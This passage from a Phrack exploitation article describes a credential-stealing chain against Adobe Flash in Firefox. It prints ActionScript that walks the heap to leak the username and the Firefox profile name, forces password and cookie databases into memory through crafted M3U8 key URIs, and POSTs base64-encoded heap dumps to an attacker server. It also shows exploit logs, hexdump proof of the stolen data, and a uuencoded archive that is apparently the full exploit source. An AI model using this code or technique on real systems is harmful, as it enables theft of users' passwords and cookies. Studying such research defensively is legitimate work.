i:uint = 0; i < this.VECNUM; i++) this._sv[i][0] = addr; pi = this._source.getABRProfileInfoAtIndex(0, this._idx); if(cross_page && this._readahead > 0) ret = pi.height; else ret = pi.bitsPerSecond; return ret; } --- snip --- As it has already been mentioned, the above is, actually, the equivalent of `HeapWalk()' [19] implemented by abusing our read primitive. ------[ 3.2.6 Reading arbitrary files Now that we have a powerful arbitrary read primitive at hand, it's time we examine what can be done with it. An obvious potential is dumping the memory contents of the sandboxed Adobe Flash Player process. However, unless sensitive information is already present in the process' memory, doing this won't yield any interesting results. What if one could force the sandboxed child load and map arbitrary files in memory? Assuming a file has been mapped somewhere in the process' heap, discovering its contents is just a matter of walking the heap and locating the heap region that carries the contents of the file. The M3U8 specification mentions the following: 3.4.4. EXT-X-KEY Media segments MAY be encrypted. The EXT-X-KEY tag specifies how to decrypt them. It applies to every media URI that appears between it and the next EXT-X-KEY tag in the Playlist file (if any). Its format is: #EXT-X-KEY: ... If the encryption method is AES-128, the URI attribute MUST be present. ... The URI attribute specifies how to obtain the key. Its value is a quoted-string that contains a URI [RFC3986] for the key. If the URI specifies a local file, the Flash Player child will happily load and map it in memory (it's well known that the NPAPI Firefox Flash Sandbox allows reading arbitrary files from the filesystem). A relatively big file will occupy a heap segment of its own, making it easier for an attacker to discover its contents. Ideally, an attacker would like to load in memory the SQLite database holding the Firefox stored passwords. However, this is not as straightforward as it may sound at first. On Microsoft Windows, these databases reside at the following location: C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\ signons.sqlite The path above contains two unknown quantities, the victim's username and the Firefox profile name which is a random identifier produced during installation. Before being able to load these files, one needs to find a way to determine the unknown values first. Since we already have an arbitrary read, as well as a more advanced heap walking abstraction, at hand, figuring out the victim's username is quite easy. On Microsoft Windows, environment variables lie somewhere at the very beginning of the process heap, so, our heap walker will visit this allocation too. Assuming we have successfully leaked the address of the main heap as described above, leaking the victim's username as simple as calling `walk()' with a callback function that uses regular expressions to locate the string ":\Users\xxx\AppData" in the heap data. --- snip --- // Leak heap data and look for a pattern that matches the username in // the target system. We need that in order to access files within the // user's home directory. private function _get_username_cb(address:uint, size:uint):Boolean { var matches:Array; var ret:Boolean = false; // `_read()' is the function implementing the read primitive. var raw:String = this._read(address, size); matches = raw.match(/:\\Users\\([^\\]*)\\AppData/); if(matches != null) { this._username = matches[1]; ret = true; } return ret; } private function _get_username():Boolean { return this._parser.walk(this._heap_address, this._get_username_cb); } --- snip --- If `_get_username_cb()' succeeds, the leaked username is stored in `this._username'. This whole process may be repeated to first load "profiles.ini", the file that holds the randomly generated Mozilla Firefox profile name and then the SQLite databases holding the keys and passwords. The content's of the aforementioned files can then be dumped using `this._parser.walk()' with different callback methods as shown below. --- snip --- // Search for the random Firefox profile name in heap data. private function _get_profile_name_cb(address:uint, size:uint):Boolean { var matches:Array; var ret:Boolean = false; var raw:String = this._read(address, size); matches = raw.match(/Path=Profiles[\/\\]([[:print:]]+)/); if(matches != null) { this._profile_name = matches[1]; ret = true; } return ret; } private function _get_profile_name():Boolean { ... this._parser.walk(this._heap_address, this._get_profile_name_cb); ... } --- snip --- Last but not least, the `_upload_data_cb()' is used in a final call to `walk()' to upload the full heap contents to a server of the attacker's choosing: --- snip --- // Collects data and uploads it on our server. private function _upload_data_cb(address:uint, size:uint):Boolean { var raw:String = this._read(address, size); if(this._mem == null) this._mem = ""; this._mem += raw; // Upload data in blocks of `DUMPSZ' bytes. if(this._mem.length >= this.DUMPSZ) { this._con.msg("Uploading block of " + this._mem.length + " bytes"); var b64:Base64Encoder = new Base64Encoder(); b64.encode(raw); raw = b64.toString(); var vars:URLVariables = new URLVariables(); vars.id = this._get_uniqid(); vars.data = raw; var req:URLRequest = new URLRequest(this.DUMPURL); req.data = vars; req.method = URLRequestMethod.POST; var ldr:URLLoader = new URLLoader(); ldr.dataFormat = URLLoaderDataFormat.BINARY; ldr.load(req); this._mem = ""; } // Return `false' so that `parser.walk()' walks the whole heap. return false; } private function _steal_cookies_and_passwords():void { ... // Dump the whole heap :) this._parser.walk(this._heap_address, this._upload_data_cb); } --- snip --- The exploit's server component "dumper.php" will store the uploaded data in a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite databases holding keys and passwords have succesfully been uploaded to the attacker's server. ------[ 3.2.7 - Overall exploit methodology Summing up, the complete exploitation process consists of the steps given below. The interested reader is referred to the corresponding sections of this article for a detailed analysis of each step. Briefly the attached exploit: * Performs some standard heap spraying and attempts to determine if it was successful or not. * Abuses the layout of AS3 `Vector' data containers to leak information from arbitrary absolute memory addresses. In this step, the address of a virtual function table is also discovered. * Discovers the Adobe Flash plug-in's base address. * Walks the CRT heap once to locate the environment variables of the victim process. Simple pattern matching is used to locate the username of the victim. * Asks the exploit's server component to return an M3U8 manifest that results in the AVM loading "profiles.ini" several times in the victim process memory. * Walks the CRT heap once again to locate "profiles.ini" contents and read the name of the default profile. Most (all) users use just a single Firefox profile. * Asks the exploit's server component to return an M3U8 manifest that loads "signons.sqlite", "key3.db" and "cookies.sqlite" in the victim's memory. * Walks the CRT heap again and uploads all heap allocations to a server of the attacker's choosing. Some of these allocations contain the SQLite database contents. The author has run several experiments and has verified that the above exploitation works as expected. ------[ 3.2.8 - Logz This is how the user's browser looks like when debugging output is enabled in the exploit's code: --- snip --- (2016-01-26 01:04:42) [*] Will now load worker from WorkerMain.swf (2016-01-26 01:04:42) [*] New worker started (2016-01-26 01:04:42) [*] Preparing stream (2016-01-26 01:04:54) [*] Readahead size is 8 (2016-01-26 01:04:54) [*] Spraying the heap (2016-01-26 01:04:56) [*] GC virtual table @0x67cadaf0 (2016-01-26 01:04:56) [*] Flash player base address @0x67010000 (2016-01-26 01:05:07) [*] __crtheap @0x4e0000 (2016-01-26 01:05:07) [*] Matched Windows username "huku" (2016-01-26 01:05:07) [*] Preparing to leak Firefox profile name (2016-01-26 01:05:07) [*] New manifest "\\192.168.0.200@80\tmp\ master-6c616c616b6973--99643158.m3u8" (2016-01-26 01:05:07) [*] Sleeping for a while... (2016-01-26 01:05:19) [*] Matched Mozilla Firefox profile name "liqso3kl.default" (2016-01-26 01:05:19) [*] Preparing to steal cookies and passwords (2016-01-26 01:05:19) [*] New manifest "\\192.168.0.200@80\tmp\ master-6c616c616b6973-6c6971736f336b6c2e64656661756c74-efa5759b.m3u8" (2016-01-26 01:05:19) [*] Sleeping for a while... (2016-01-26 01:05:31) [*] Uploading block of 54040 bytes (2016-01-26 01:05:32) [*] Uploading block of 383168 bytes (2016-01-26 01:05:32) [*] Uploading block of 33544 bytes (2016-01-26 01:05:32) [*] Uploading block of 36096 bytes (2016-01-26 01:05:32) [*] Uploading block of 36280 bytes (2016-01-26 01:05:32) [*] Uploading block of 97608 bytes (2016-01-26 01:05:32) [*] Uploading block of 34976 bytes (2016-01-26 01:05:32) [*] Uploading block of 131064 bytes (2016-01-26 01:05:32) [*] Uploading block of 36768 bytes (2016-01-26 01:05:32) [*] Uploading block of 41976 bytes (2016-01-26 01:05:32) [*] Uploading block of 40960 bytes (2016-01-26 01:05:32) [*] Uploading block of 40960 bytes (2016-01-26 01:05:32) [*] Uploading block of 42336 bytes (2016-01-26 01:05:33) [*] Uploading block of 131064 bytes (2016-01-26 01:05:33) [*] Uploading block of 36856 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 36856 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 107296 bytes (2016-01-26 01:05:33) [*] Uploading block of 44232 bytes (2016-01-26 01:05:34) [*] Uploading block of 528400 bytes (2016-01-26 01:05:34) [*] Uploading block of 528376 bytes (2016-01-26 01:05:35) [*] Uploading block of 528376 bytes (2016-01-26 01:05:35) [*] Freeing worker resources (2016-01-26 01:05:35) [*] Marking target (2016-01-26 01:05:35) [*] Done --- snip --- On the attacker's server, a binary file holding exfiltrated data is created in "/tmp". The SQLite databases holding the victim's keys and passwords can also be found there. --- snip --- $ hexdump -C /tmp/154a61b6c8227ae0acfdfb974141dd6f.bin | grep SQLite ... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| ... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| --- snip --- --[ 4 - Conclusion The author hopes to have presented an interesting technique of exfiltrating data from a victim's computer. The only requirement was an arbitrary read primitive achieved by exploiting a standard relative information leak vulnerability. The presented methodology is generic and may be used to exploit similar Adobe Flash vulnerabilities. Additionally, similar techniques may be applicable to other client side technologies. Vulnerabilities, uninteresting at first sight, just like this one, may turn out to be promising and effective. Once a victim's passwords have been stolen (e.g. e-mail credentials), accessing the target's computer or mobile devices may also be possible in post-exploitation scenarios. As we are moving towards the era of data-only attacks, both in user-land and kernel-land, such attacks may become more and more interesting from a security researchers perspective. We look forward to bypassing any crappy mitigation that will be implemented in future Adobe Flash versions. --[ 5 - Thanks As you might know, writing a Phrack article is quite a hard work and requires dedication. This paper would have never been completed if it wasn't for the help and support of certain people. This section is dedicated to them. First and foremost I would like to thank the Phrack Staff for kicking my ass and motivating me to write this article. In a world of conferences and fame, Phrack has managed to stay alive with original and impressive content. It was the least I could to do help. It's always an honor for me seeing my articles published in Phrack. I would like to thank nemo and argp for their suggestions and insightful comments. My thanks also go to my team at CENSUS (and a couple of other persons who would like to remain anonymous) for giving me the chance to work on this cool stuff and spend time on Adobe Flash internals. It's always cool to be in a team where "client side exploitation" means arbitrary code execution and not XSS :) Chris Valasek and Tarjei Mandt for their work on Windows heap allocators. Life would have been harder without their work. Last but not least, greetings fly to my grhack.net collegues and !fapperz ;) --[ 6 - References [01] http://www.zerodayinitiative.com/advisories/ZDI-15-007/ [02] https://twitter.com/kernelbof/status/629832855842091008 [03] http://www.cvedetails.com/top-50-products.php [04] https://blog.zimperium.com/ stagefright-vulnerability-details-stagefright-detector-tool-released/ [05] http://flex.apache.org/installer.html [06] http://www.adobe.com/devnet/flex/flex-sdk-download.html [07] http://www.w3.org/TR/webstorage/ [08] http://www.w3.org/TR/webdatabase/ [09] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/ flash/external/ExternalInterface.html [10] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/ flash/net/SharedObject.html [11] https://en.wikipedia.org/wiki/HTTP_Live_Streaming [11] http://tools.ietf.org/html/draft-pantos-http-live-streaming-08 [12] https://msdn.microsoft.com/en-us/library/windows/desktop/ aa366710(v=vs.85).aspx [13] http://www.azimuthsecurity.com/resources/bh2009_mcdonald_valasek.pdf [14] http://illmatics.com/Understanding_the_LFH.pdf [15] http://illmatics.com/Windows%208%20Heap%20Internals.pdf [16] https://developer.apple.com/library/ios/technotes/tn2288/_index.html [17] https://www.adobe.com/support/flashplayer/debug_downloads.html [18] https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/ zerodayresearch/smashing_the_heap_with_vector_Li.pdf [19] https://msdn.microsoft.com/en-us/library/windows/desktop/ aa366710(v=vs.85).aspx [20] http://haxe.org --[ 7 - Codez begin 644 flash_hardcode_porn.tgz M'XL(`%A6X58``^U]_6,:-])P?RU_A4I]!SBP@(T='PEI79LD?NNOQSA->B9' M%E:8/2^[=' MNR&J-/=\W86FN([C+\NWF'!N+7F?[MR?)(T5XW_@V)YC<4WW'J<.P,=N*W_\ MGVYOM8+QWWK::,'X/VT\??H5:SQ.]"X4]U7Y+BV MG*%NF?_2?=.QM4/=YY?FE(OLOK)2?LMMW].Z^*%X;7-?>W=RW'-&-USUWKOW M?#[5WCKNC1*\?'_"/0_0=##1;9M;SPH%RCF;#RUSQ$:0TV.2:^B%P":F>IV= MNZ;MLZF`X#'?83H#HK,-8#J&*&%CQ)<6EIFYYBWTG(T`HL^.SP[VCP>'W1_> MO&K_X$`-NLTZS'?G_%DA7@T@:8$0XQ6Y?.H`H(GC^1H[F[OPS+&JS-:GW&#% MNZGE$5X,;79?K#+3B\/SYK.9XT$^@#/D;*&;OFE?,W_"7<[&CLM,>^1,\1&T MTP;2@!'S\CIQT3TYN^QF>C'6+8\_6U[F]5GOLMWS7:RIPXI-;4O;UEK%%:7. MSRXNVXCW#HB6[58P8O'\M[K+!N.IW\XALTQ>_\YOI\@[DT?BM)VBN;Q\@U_: M/P'J'%=[+KKX(B?_=-16TV`P^M;VFZ,*#S M&0-I9J?RQJ%%(PI$P3A0*Q`ZP%<0Z7ANBXP#QQ[()(ROM6\\&Q8:,ETY:=!8BTMEK257*:+VH&`@(:L_F"9TPPK0&%'7-Q=^W M]*+&FKNK0$RX>3WQ53!>BS?K`)G.+=^T8%Q#(;JBW8#4MZX^6S.[P<ZJ!O&`3!)0.50@2+[;X7<(8Z+W8>-<8%))3IEW9P=GK:/;BL*B%$4"(AM%9E@<"* M8PLGG"J+/\')1(GX_%\<)K8<\34=`6)2_'O-_1XHX=PX=YT9=_W[`C5S91SV M@D"SQ(GUH4)>+K(G,9U&=*(<*$2@B<'K8H5=;;YGD%,Y&`0*_V'\^1UIB_Y&FCP-]I@]!8_9-[CU3V3WBU)*R?B26L"[7C8&!^O1@ M-&R_E+(K9[U[RUT/WK;G)IIU$N*2:F*6[J(^8%G.B(Q%'AN[SI1]&+SN[I]K M/YFN/]>M?7QM_`!_;KS2LK7K#&$.")HQ&%+^\@1Z-0!MU`5A3.VHA&OUS1"$=3KL:7:"%-4"N,:=WGB6F:"4 M8/:6@OG;*-42[$`<(:%.E!C:!.)`K`N(*;DMUOY!IF\Z3%UHQ1PDL"DF;K7Z M%#0W^*)6BSSS7[RM[$O4HL9=4V&1^$VA*P1EU-B1;W/G,4PN]^>N+;N7IS8( M/IBC%6YJDMK@ZC8JAS%&&/2ZKTZZIY?:FX.+'K^>RG75&KPP'[D#3Y08@`[G MEX,?'\$1,5@K23]==@UZ2[6,QFI[;Q7!Y91:07'QKJQ%=ZN(JK%7^12:;(P^ M,TW&$;"<,F6NH.H9HC.R'5UDCZ9JD::*VGWV9(C.R[@^F@2\ M`7QQ\7,);3^(KZ`2Y%WFS?C(')N@5`SOV8>0G4O5.#RTP%'1.=`";1A:6`(? M#V%=P3Z,AB4V@T6"W#@4H#F*^8!\X^"0:TT8:607;`;?H]C37O"W!ZY]S,_#3`@+9K+<<`-((TI]W5#]W4:8L\! M#JUHF=;?.>X`*GC`7-2XVVFDY]>@3]AD5!!(;D@TLR&W'/N:J-&A"H@BDTT) M,P=-6*%TI$3L6/)8(.21NP*0JR9`M`5R4"`$@G4TXL$Z-Q1J:L$+4*.JEF7 MT)+D_!R2B@G]`92-]1'0K9Z45-FF19-@JN+L?)G449ZG"P`Y!4^0<1Y@GC_1 M;T`#P5EI`9\WYHPY(*;R1DMM":=5DBRP7)X$*:2SV!`@XN*#I;:BJSN"">:L M`!LO.G%((9+^^M? ML%<>/)3+JV;S8.K,WW5G98?C5:'>#BH\K'T45J)X80I+KL'PZRR$5:"35)P@^OV$YY*G>RUP)40'MM\PL?:S#3#2<^\QV?`;R MS@-Y/XN9=F^%"3=NXLTH[K(E)"973:YYUM?X=)9O`%:,3RB!0\CM393`HO2Z M$PB244@25%0+"4/\%"+O$\8P^4NU!'3C?FHRRY>=M/^&I-K_,^;3&7>UV63V M.'6L\/]N[&YMI_V_FSN-+_M_GR,]_PZ&F?A]`Q=HL+!V<1(MUF%JDYOQ(*%, MS^-^>6-PT?V?-]W>Y541\Q;?5T`?9)EWI@%OA)B*1-Z&<$4F<0KP-T#OO_BI M>W%5E"X'^X>'%\7WD1#:,`W*EH`:>TVKR0X;ZA[?;0T,CM2K:&!L^;$Q!OT? M/9\1;M17#?I:A+]38Z><:"2\&.`+:$D%?VA#,^Z>,)_JWDVYT=S:BDT-6,5@ M-O?1!\U'#;P??TD/V*WMT_#KKO)(S?"M^]^+Q"5\7_ MIFWP.VWB3Y?1^P/2"OYO[J3W_X'_6ZTO_/\Y$GO^S>'9P>7/YUWV^O+DF)V_ M^>'XZ(`5:_7ZV^V#>OWP\E"\:&F-9KW>/2VRXL3W9^UZ?;%8:(MMS7&OZY<7 M=2275MWS77/D:X9O%%\4GN,S_`"57FS%//=-W^(OGM?%9^%Y7;Q[/G2,>_B8 MR6P.>6`+!P/3Z!1'%GRTC:VG(V.XRVLZWS5JS>9H7/O;[G"OUFJU=G:V=UJ( M^"(C1^-.$;X)?V'\&FT$/0=%3Y_2"8A.<>KB-W+-F;\_&H$&&!;UX/VA M,X4&KBC]:6*[N.]5M<\P]/]1_!Z)@3IY,IX-W2?TV*A$UC"SJ M&U)[1*N<_#IS'=(TY4]7MPUG6@%X_&YFH2)71VVF[F-%7F M/ND>'NW7>CB\IP?==F-);L1.L\I()\K)1N\TWTN.%28M-G+%UU[%@W:__P:J\OK]L,I^?W\V.P1=H]^_ M<'0\5=KOGSC_,BT+GN"IQ;%S1P2`@#S-M$V%ISBFC/#8WL(O3Y[DV\V"@0^' M[L?NS^V3[N7KL\/.?K=7:V[M5=]<'`%]AMWHJUW5LU9\Y=&`'!PE\9L8F?BK M'$OQ!BZ%/QW%YQ+%4#!>:9KJPEKC`QLVH=\?.0:R%G\O8\SOD%3Z/ZWV'BOXQU>K]?^=W73\C]WMW2_VG\^2UHC_<8)6D@/+ MG#W+YIG[IN5I/]S[?-]U]7M%CI5!03!"QYN+XPO^RQQTU?P,QPZN3U:]QPDN M-[K(FL$^Q'MA-B1YQ M9?P1Y%I8`$`&`WX$8Y9:?-3KC`8*78!`OM)!T@5UE_7>OB3[M?<,=YP1DJO+ M=^@FY?*\V!XR3UL`%@[0]+U<%)@,K4>59,22F*_3#>-H1KH'S4K.`,Y M$@CVJK&3JPOXW[%+/AOR.$!]:''A[33BYBV>%KX/C\QF6R_C:MR&V\')$D,1^ M-K12'IJDVX`7HL)3/B MI05!M07QA&?E!3^&)]!'+H>6BE=EJ$]Q=$05,R6>AP[B+^3!=@*7S)XZ])ZJ M`?":%ZK@]?[I:?=X<-+M]?9?=:O!6>`D02BC@@`Y"@?TZ2CM.B<;ZN5'"J@R M*J4J!,C/A%^("`6/#Q=/@6VE**#LW,@)/9#VI$7V+B]W^89NI4Y&I'@MMVVR M6!"G!9\K3E3$9*-F>H.I#MTPRI6U?4,2KAQ`3(.Y:P4QA\@[&H\@"S'WL#`: M(7;?PCJ+V+Y,!J*8JK6?C@Z MW;_X.1]`;DR0D_/C[F7(83%AM:0U.`)EP,;CG?(/1_E22&CRQD,23'*0^/O' M\JI1Z_\W'#6!QZICU?YOX^E66O_?;6Q]T?\_1SIY=W)\T$%[T=CB=P//N.GW MAZ;=[T_OIM9(XW>\0%E>'N^_ZG5JR%Y`&:[F3$V_!AKBB-<`@:`/HZ[;(6'+ M:F*JK^'J@;N=9DMK%`JZ9;594A]DP9="(?DBD5$/0^O1UU1L@KA:##\+A0B& MHG0Z\U\H9^'KC3)ULL+D%^HM_'K.:L[O1Q%G8;+%8U%"@M8,O M\MW4,1C0>0M_%D;HP`V`W2FKC5VV2=W=_-_"USC3C'%.V=@HCTW;8!J@ZWX& M*A>KN?R:W[&2MMDOZU[_U]EDUO^5;-F_XFYBO[*Q4:H\8X;#^H6OOQZ!,-W8 M&+-?&9['\.JEJZNV!ZLYWG[_?A-RUDNE.GN!631_.GL6+X,/H-S(L5AM>"XO2R>_'3_G%; M'-^%;X)AZ!2<-BK!86 MNA)PWN,IGT2M$MO9-8[P4)?'D1)O$>;(7@`L<2U?@G]$?GFE?>'C<9IN M>@(=G2S6LB4HZ%FZLTHL_#$U_F12R?^+[O[A25>;&H]4QPKY_W0K:_]O;7_1 M_S]+^I8=\IGEW`V[SK&G!BS4,`SFQ[P](Q$,S`5'Y-M;DZ<*=<,,M=M;F*P:WK/<'/1I9B-&-R4#I9CC;KOPQP$ MRCR[Q!-M)IWK=L5T$FL10_JD*U<0P"A\C-S2!60C1F M)1%U`,4',TR7S)OWK+RY60!:@OP'=!@P8BIFB\N@9013A3@8VD?M`(;5)>N[:$A'`*`-@F+G%0PK&1V,O>FJB]!`L!])\O+DI21(M MLR>4B4506'WNN77+'$H>)I:$YU[(EB!D4R7#RE86AJQ8/ASF?4-$*A!"!J42 M1NOVL,F`2S<\%XJB'@02-M^\GDO4H]E2=N50OP4=\.;P!X:#58>:\#1E8=\R M`;?XB/X4"L^/`P+!W\*M&\JR,Z'X/S\VIZ;?O1OQF<_.SM'UK\=>=2_9^5D/ M_ER!RV=GH\FNCM\'6`6T@HA'\:X' MBG?OY(>`V,;Z*)C^31NCT'/_7R+22*/?$W.$)FO*FPR1%74%3WQ=$ ML2D%*>C@>6^QE-0I)'P]^$U'UQV,=MQA]UP(UFO:K7!NY*-(&F!+XPI""5ES MQBQ^RZV8),9^<)00U)AH7:@HV@AVQ]PQ\PQ41S(Z+L@_]$6"L^' MIJT#NX7:A9@`Y4T>@6DT`@A/.`H5Z"3F%/,A>VGQ.]8[_)&5IWC^S+1%Q%Q$ M)921\QD:8V.383!E21&8L(Y*'D?YM+EYN/_3FXMCH2G0S#WT'&L.8@2>DKH& MSR"/$#6X8A+R20XH2#Q]Z-QR6=O%'$<4<862%F09H-:]!R$(Q'+M8#PWI$T` M4`*QZ7%.RF#H1H!S:6",E:)2R**DK9=TD'`ZQO:%$$1CV-Q&CHI/J!K[&24! M5`]R`*=BFD>\B3.W#)"PS@W59IDW/$F^7^;=->?=I442C0M-^'E%=K7MJ$BS M#N=$#$3[BRW+Z MH`9.EV38_^%"GE(X`MWI$SQ*9883$/'.$L_48(GI?0[?U!Y]Y+]/1F//R_70 MZ^PR^=;R75WF]IOV;LUDH."!#N2P.2PD^`4=W4*(7M(5=GH7U$:A'BA&X3KN ML@E'@0F;DR!^X6XKZT`:YNO]/PN//41S)S";T[.DZ4CO7)IH:BIVUM/=_>@=5]_G09IWU\B8"5&:DX\"6+EM!=EGL@8GPB0MY`&,'?]: MGG/*IV&&Q%4-06)O+H^.CRY_9B_?G!X("TKT,N$2_IK?6>98K`.O39`^3)RM M7184?"+*E,DI)[@`1WPNV4*ISS<*\!BNX0E^ MSP+"KCSIJ-_1(>MF\KDR@C0`4>[QPH"^DO*=[BE#$2\'-`PC*YYBZ#Z03@HO M_6B<83(9B-QT*'+%&,NF"0?-@$04LTVY5=&0]=]6"F M0?9?,@P+*S*%)#("4ZV8;UEXX!;JC0.D6\O$*A964)+C*"+%*D1@_::Q"@E$ MP$9,YA=S"3S^&`_1RC.T2,X"AT$?)-'!*]6A6I/(*55B7YOP)`C*+4QO<5#2:KELG$UO M(.H8A(#7\DIQO&C$4]'$L\./SH"\/8%CW`,[8#X.6/V5E>8:YRHZZE02C26#90GMA MH4HFM&0F#+S*T::-<@U`X MF+AH`T&B8+=S"P41J!I5BJ"YX&*/"G>JR8[+''PZT?U2]NX^`'GMR(C2H6WZ M0Z!`E9@(:*.(4PQ(B0\I=40V[IS/9HDP$?$D?(>RSE'*J23/70B)03=]$*CV M"#!A.W,/R$'(7AZ+5F\+/S'@MZEI6:;'0>,T/`THJ>0F^,^=VW9XO(,T6;J* M&PH&I]Z"N-K,H*-F`8;A)6XK#`'%<7CS:VA/(`MFSFP^\Z1M/]A;H;"Z!-]V M[!KH6%SS#FOKX!1F1H"BG5VRZ8>9*:]C+M&- MH[1Q-Z;'0]/W8(G=(\XKQ:D:$PB1"!DD$Y.=5]_[3=VM==*94WU&]4%H-,': M.J9'B,5YCN8@X'JW5^;[J\9[>?%,DK9F9A@K6"Q1T;B1),9]_PA-V>5&*@"TI11:J5$;BYP+H5Q]D=2UTQRT;YG7MN@5 MW4,^@[D3,-EBY0%H"O9"=PUO4&4#V_$';#ZCW\*E"850&EJ"LZ.)3Z`BSLAB M1XT0*2]*OD[?ZHN+$=>\OH82!LZ6>,R$A@@O!L8FX]W`?G0MQ<24FTY2YJ6! M+;OT`/WM.O3WK^Q_MY^E^6,MCL#2'RT0RD'=E6=BD=NJ"AU>I9,9"$:N> M*$FQ3L>[N0&H(`H-6>1`KD7*`">(4H]QZBLY=^.JBL;+HO2OL!'RW%#$,EJ3U+QK:FC M;IJ4LR4%L=%M4!\H.F5)7/\EIR=-*?'T14+B*8U6YQ?=\_V+_NIB8 MZ^C,+#T11FBZK;D?[J*K+G86Y=-&&RQ(V]G%):VDE:>Z&Z0'TU=A=JN0"PX(-]>$=91P,GN)EEEV3FO?.$"YE*>K4?!((V[9MW9` M323ET.-AAFH@20/%'\4MNA;&H<7$,]LF.SH?S7%1F%*B40&%3YPLQ&*EN259 MPQG'X$E7:`LO*LAIO?3 M*D;>I2)$?#7E-+"5TUGI9`G31_J"G&5\8G`?W2!M'HGZU8=$5BX7TA,-S@^? MH/,U*IFI##4VW3M;V%&P!A)1PAR@>"N$5MHNH&KLD[Q[WA38<\0N@C?#H"PK M\1;ME>"L^4+)INEP#ILORC$M6V'6>[A>GIUYTY52\\)Z>W]7W]%!5?\S5O4_ M8U7W_@Z_\X(#WE[]\[W8H=/%!)>%'ULX0,[;/`/'TN%!$1EL'-G&@-QA/N+T M6<[=;29L MY=`#T[[5+=0L\:J_8%%:-C6NT0TQI"4(RRJ&]4D95$.`=',,T8=7J3+'A1:4 M0,0'UAZLBI$R[%A&0M23MIN&9SCN#9(58&<;+ M"VF16*TI+A/*,H4PY62*=N)TN_9=-,8=*M7-+)T_1@\Q92-DABME`(Y_GZBJ MES=<)G97EQP@*2ZXY<+WR34?^W-%;QBHR#2PXXH+;[$"MW9KDR(D2 M"71FK#?)D3R.AB\H@(:KP6#D^BAZ2O+L5G"NA!;!"6THH2:Y#H:;+S%F7[B!D:JQ%N74N+;_ZL)9:K[HTG[@E]W[_!&M7K_;G>O#V/4!ZR+ M3_RW`__&8WBVHT'JW^G;]2S19&DN@>5EQH_U-M%Q:1P?M- M'U)0.'\$L;(2-S2G@2073,J%[W%W_T?6^[EWV3UA;WK="W16SEOW'N/43U-V M>+\K.N#3S@Q:U'T\3R*8B,:+>^%>"&V(FW8<6FQ;57JJ14$"I3'*H?,U:(>B MBQ[D20'>GETT7UY M]@Y/B>&M3VP9(_5(J(4[FM)91FY/)UQ#F)QIA-?0"JS$_2#^1!0=+ZE:F+8>AS5`Q'87Q\(155-ZW3:M$%4$7TU"D@PF=9$R1B\+\F&]\#-R^DA** M;)`?9[-,GQE>[=$OHL==^!.;6\QT,VY;#;*F!B)E#UU6?\_B?$8;<33U MDLX$ZIW:SJHPH^:J%>L(QY284?M5E14L%?#B:HD*ZLC^,3LX._OQJ-NKLO/] M7N_MV<5A#U8E/W9_SC7,'SB6A6;X2#\1I[L]U,O1,VON!A$:EG"A*#-`&)\H M13]J3@]WQ:9\BDO[K/B*!HVR9#S]HG=/.F+[(VWK>$-=%&@*;[&EM9'P`I=[ MK!E'J1!RX(WZ(F!5*K9*-4]1L6@%8H<:@/470Q>)6"7`4:(]&:X*$#W<;;43 M9P:D!$L\4T4MA8(:I]=E0%3.IEZ'LH6NA'F-@']>.WZ&)`J;&CY2M0'+:70% M9DP!D2Z?.;GEC9C9L0W:LBH`;#AH\$S5:_Y+4`?6I\XPI;,T(LIKXGB-AL?E MR98TXMJC-=.`?D+^O#H[&4O&"7AY-<>O6]LN-RIJ2 M;>QR_A%N$9*8L!'+G"#H9*LB8F':42+3Y\3FQW(@H2S-`/DH5$6X2@6XC`XK MYH?@C[GA9=]&;5XOVCZF4.M3GE#(B;JOKCI1O50![>@Z+`U%^%^/RX+\(Q) M4>$PG%MI)#Q1N`3^*"AN\KN5DD?+AE^]<_VIX_]2!\ENA!:#(-X3U:,Q-&TS M:AM4@AF_>QRZ6-&H5P?)AK#O&W>J.3XJFMRB2YPZRA\PQ>;@2AH1NY"S["[D MZC8FJGI`$Y.[4BM;&&ZNK6Y1'/+*!B4(,;+_/C(!!H`_"YV=D('1"(\HA69U MH?.E;.UJS2^#FJ3]\)'1(^^0S+7L?3:4+6N(0-^2WB6,4OEH#52$)0NOU<+X M)6@W*(OE+3!`ZJ0M>/DR.:,EYF54*4ZK&W2BNS-^J/4@3&>=_+C/]./5/R?[>;N5VSG46I? MD?[+X_^L&/_HJS:[_]@Z5L3_WMIM[23'?VNKL;/S)?[3YTC??D/Q68>F7>?V M+9O=^Q/'+I1*I<3(LQKKF1BZ.`P9ZKCRED6<-X([%L49L'W#&0:^<>].CID` MHP',0F$PT.=0@SL8X!40D_G-G#W'O]]?NQ.0SQ@OZ05D*\A0/=Z]%WSU)[C> MP8-9\D&/P/9$X.Q"X36&8P68#?+,;Y0*YV<7EQ2.9KM5@!_'1P<_P\\^2>W2 M\^^@?X''?J?8U!K%[UZ48.(/WM,AO9J(4%>;.;#FOD^\U]'1O29\4&K4;9&W M4]PL@FI4PR9ZG>)?C"*K0\&_,&I.5+ZNJJ#?P+Z+*$2`.=%#:49_+:^1C'>; M8B(EWU?:8EXV^%A$:R][W!K#TV#:HAUR5KK:?,_0I@BSI"U,#V+P_N)A8]$P MB>4T$=,B4,@K$6QQB6$`/(1.5CEVZ'%@UAB*+'J:-C&IFUZDR4T<6`Y'K+T0^DB3;67!^>" M1I,$>QEP\8EY=V176?)E4$8V#95J@(SM1BXI@W9Z*U_Y[GW4?"F3.JK:RR@7 MJL1]E6H>4U52H#3Z&`!EX?$9:5CC(@3TC_Q^Z,!T>83QA]WYS$^W0_,F